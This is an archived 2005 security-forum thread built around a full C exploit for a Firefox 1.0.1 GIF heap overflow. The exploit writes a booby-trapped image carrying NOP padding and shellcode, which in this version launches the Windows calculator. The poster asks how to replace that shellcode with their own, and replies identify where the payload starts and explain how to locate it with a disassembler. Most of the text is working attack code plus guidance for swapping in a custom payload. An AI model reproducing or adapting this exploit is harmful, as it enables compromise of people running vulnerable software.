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Full Version: Firefox 1.01 Exploit
GovernmentSecurity.org > System Security > Exploit Research & Discussion
extreme
Aug 9 2005, 02:23 AM
This exploit has an example shellcode, which executes calc.exe

I would like to replace it with my own shellcode, but I don't know where this current shellcode starts, nor ends...?!?
Cause everything is binded, nops, junks, bof trigger chars and shellcode..
Check it out:
CODE
/*

 Mozilla FireFox <= 1.0.1 Remote GIF Heap Overflow Exploit

 by Darkeagle of uKt Researcherz
 darkeagle [at] linkin-park [dot] cc

 greetz to all my friends }8{)

 and... Happy Birthday uKt research team }8{) 1 year }8{)

 http://unl0ck.org

 !!!-script kiddie edition-!!!

              ^^^^^^^^^^^^^^^^^^^^
            U     U   k  kk  ttttttt
           U     U   k  k      tt
           U    U   k kk      tt    (c) '04-'05   55k7 researcherz
            UUU    k   kk    tt
          ^^^^^^^^^^^^^^^^^^^^^^^^^

            successfully tested on: Notebook LogyCom Expert Intel Pentium IV 2.8 Ghz, 256RAM, 40GB, 64mb Video SiS,
                     WinXP SP1 RuS Pirated Edition
            exploit calls Standart Windows Calculator

           shellcode:

-----------------------
xor     eax, eax
push    eax
push    0x636c6163; calc
push    esp
pop     ebx
push    eax
push    ebx
mov     ecx, 0x77c18044 ; moved system() in %ecx
call    ecx             ; call system()
-----------------------

btw c0wZ happy birthday }:@

         ,-"""-,
         )~   ~(       ------------------------------------------------
     .-'(       )`-,  | m00[ov3r]:                                     |
     `~o`d\   /b`o~`  |  "i would drop you if you'll release exploit"  |
         |     |      |                                                |
         (6___6)      |     hahaha m00 wanna ownZ j00 <:@              |
          `--U`       |                                                |
                       ------------------------------------------------


*/

#include <stdio.h>
#include <string.h>
#include <windows.h>

#define FILENAME "firesnake.gif"

unsigned char data1[] = {
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0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x40, 0x00, 0x40, 0x00, 0x41, 0x41, 0x41, 0x41, 0x14, 0x02, 0x08, 0x08, 0x00, 0x00, 0x44,
0x44, 0x44, 0xEB, 0x14, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFD, 0x7E, 0xD8, 0x77, 0xB4, 0x73,
       0xED, 0x77, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
       0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
       0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
       0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
       0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
       0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
       0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
       0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x33, 0xC0, 0x50, 0x68, 0x63, 0x61, 0x6C,
       0x63, 0x54, 0x5B, 0x50, 0x53, 0xB9, 0x44, 0x80, 0xC1, 0x77, 0xFF, 0xD1, 0x90, 0x90, 0x90, 0x90,
       0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x01, 0x01, 0x00, 0x00, 0xFF, 0x90, 0x18,
       0x57, 0x57, 0x57, 0x57, 0x47, 0x57, 0x47, 0x57, 0xFF, 0x90, 0x14, 0x89, 0xC3, 0x31, 0xFF, 0x68,
       0x7F, 0x00, 0x00, 0x01, 0x68, 0x02, 0x00, 0xD9, 0x03, 0x89, 0xE1, 0x6A, 0x10, 0x51, 0x53, 0xFF,
       0x90, 0x10, 0x85, 0xC0, 0x75, 0x44, 0x8D, 0x3C, 0x24,
 //shellcode start maybe???
 0x31, 0xC0, 0x6A, 0x15, 0x59, 0xF3, 0xAB,
       0xC6, 0x44, 0x24, 0x10, 0x44, 0xFE, 0x44, 0x24, 0x3D, 0x89, 0x5C, 0x24, 0x48, 0x89, 0x5C, 0x24,
       0x4C, 0x89, 0x5C, 0x24, 0x50, 0x8D, 0x44, 0x24, 0x10, 0x54, 0x50, 0x51, 0x51, 0x6A, 0x08, 0x6A,
       0x01, 0x51, 0x51, 0xFF, 0x75, 0x00, 0x51, 0xFF, 0x90, 0x28, 0x89, 0xE1, 0x68, 0xFF, 0xFF, 0xFF,
       0xFF, 0xFF, 0x31, 0xFF, 0x90, 0x24, 0x57, 0xFF, 0x90, 0x0C, 0xFF, 0x90, 0x20, 0x53, 0x90, 0x56,
       0x57, 0x8B, 0x6C, 0x24, 0x18, 0x8B, 0x45, 0x3C, 0x8B, 0x54, 0x05, 0x78, 0x01, 0xEA, 0x8B, 0x4A,
       0x18, 0x8B, 0x5A, 0x20, 0x01, 0xEB, 0xE3, 0x32, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xEE, 0x31, 0xFF,
       0xFC, 0x31, 0xC0, 0xAC, 0x38, 0xE0, 0x74, 0x07, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xEB, 0xF2, 0x3B,
       0x7C, 0x24, 0x14, 0x75, 0xE1, 0x8B, 0x5A, 0x24, 0x01, 0xEB, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x5A,
       0x1C, 0x01, 0xEB, 0x8B, 0x04, 0x8B, 0x01, 0xE8, 0xEB, 0x02, 0x31, 0xC0, 0x89, 0xEA, 0x5F, 0x5E,
       0x5D, 0x5B, 0xC2, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

int main()
{

FILE *fs;

printf("\n");
printf(" * Mozilla FireFox <= 1.0.1 Remote/Local GIF Heap Overflow Exploit\n");
printf(" * coded by Darkeagle\n");
printf(" * [uKt research] http://unl0ck.org\n");

fs = fopen(FILENAME, "w+");

// just go, y0!

fwrite(data1, sizeof ( unsigned char ), sizeof(data1), fs);

printf(" * [Evil done]\n");

fclose(fs);
printf(" * [Firesnake.gif created!]\n");
printf(" * [Enjoy!]\n\n");

return 0;

}
[_-ViCiOuS-_]
Aug 9 2005, 05:25 AM
the easiest way to find that out would be to convert it back to asm (or u need to know what the hex thing means in asm)
extreme
Aug 9 2005, 05:27 AM
Yeah, I tryed exactly that with my limitied knowledge, and I have putt a note where I think the shellcode starts, but then I wasn't sure...
Erion
Aug 9 2005, 08:59 AM
QUOTE
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x33, 0xC0, 0x50, 0x68, 0x63, 0x61, 0x6C, 0x63


I'd say it starts here (with the 0x33).... see that you have "calc" (0x636c6163) around there.
BuzzDee
Aug 9 2005, 10:28 AM
just assemble the asm instructions in olly and look where u find the bytes in hex within the code.

these are the first lines assembled in olly:

00401039 33C0 XOR EAX,EAX
0040103B 50 PUSH EAX
0040103C 68 63616C63 PUSH 636C6163
00401041 54 PUSH ESP
00401042 5B POP EBX
00401043 50 PUSH EAX
...

so the code is \x33\xc0\x50\x68\x63\x61\x6c\x63\x54\x5b\x50....

so the code starts some lines above where u thought it would be. i think u see it, right? wink.gif

greetz
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